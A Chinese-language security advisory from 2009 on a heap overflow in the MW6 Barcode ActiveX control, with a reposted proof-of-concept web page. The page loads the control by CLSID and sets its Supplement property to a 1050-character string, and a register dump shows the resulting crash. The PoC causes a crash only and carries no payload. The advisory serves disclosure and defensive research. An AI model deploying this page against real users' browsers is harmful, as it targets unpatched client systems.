安全研究

安全漏洞
MW6 Barcode ActiveX控件远程缓冲区溢出漏洞

发布日期:2009-01-27
更新日期:2009-01-28

受影响系统:
MW6 Technologies Barcode ActiveX 3.x
描述:
BUGTRAQ  ID: 33451

MW6 Barcode ActiveX是用于创建一维条码的工具。

MW6 Barcode ActiveX的实现上存在缓冲溢出漏洞,远程攻击者可能利用此漏洞控制用户客户端系统。

Barcode.MW6Barcode.1 ActiveX控件(Barcode.dll)在处理超长的Supplement参数数据时存在堆溢出问题,远程恶意网站可以通过包含超长参数的网页ActiveX调用在用户客户端系统上执行任意指令。

<*来源:Houssamix
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<html>
-----------------------------------------------------------    <br/>
Author : Houssamix                                                <br/>
-----------------------------------------------------------    <br/>
MW6 Barcode ActiveX (Barcode.dll) Reamote Heap Overflow Poc    <br/>
-----------------------------------------------------------    <br/>
<!--

http://www.mw6tech.com/download.html

Report for Clsid: {14D09688-CFA7-11D5-995A-005004CE563B}        
RegKey Safe for Script: Faux                                     
RegKey Safe for Init: Faux                                        
Implements IObjectSafety: Vrai                                     
IDisp Safe:  Safe for untrusted: caller,data                        
IPersist Safe:  Safe for untrusted: caller,data                      
IPStorage Safe:  Safe for untrusted: caller,data                      

Registers:                                                            
--------------------------------------------------                    
EIP 00B5294E                                                        
EAX 41414141 <====                                                         
EBX 00038660                                                         
ECX 00FA1EF8                                                         
EDX 00030608                                                         
EDI 00000000                                                    
ESI 00FA1EF8                                                         
EBP 0013F2A0                                                         
ESP 0013F278

Block Disassembly:
--------------------------------------------------
B5294E    MOV ECX,[EAX]      <--- CRASH                                            
-->

<object classid='clsid:14D09688-CFA7-11D5-995A-005004CE563B' id='target' ></object>
<script language='vbscript'>


arg1=String(1050, "A")

target.Supplement = arg1

</script>

# milw0rm.com [2009-01-26]

建议:
厂商补丁:

MW6 Technologies
----------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.mw6tech.com/

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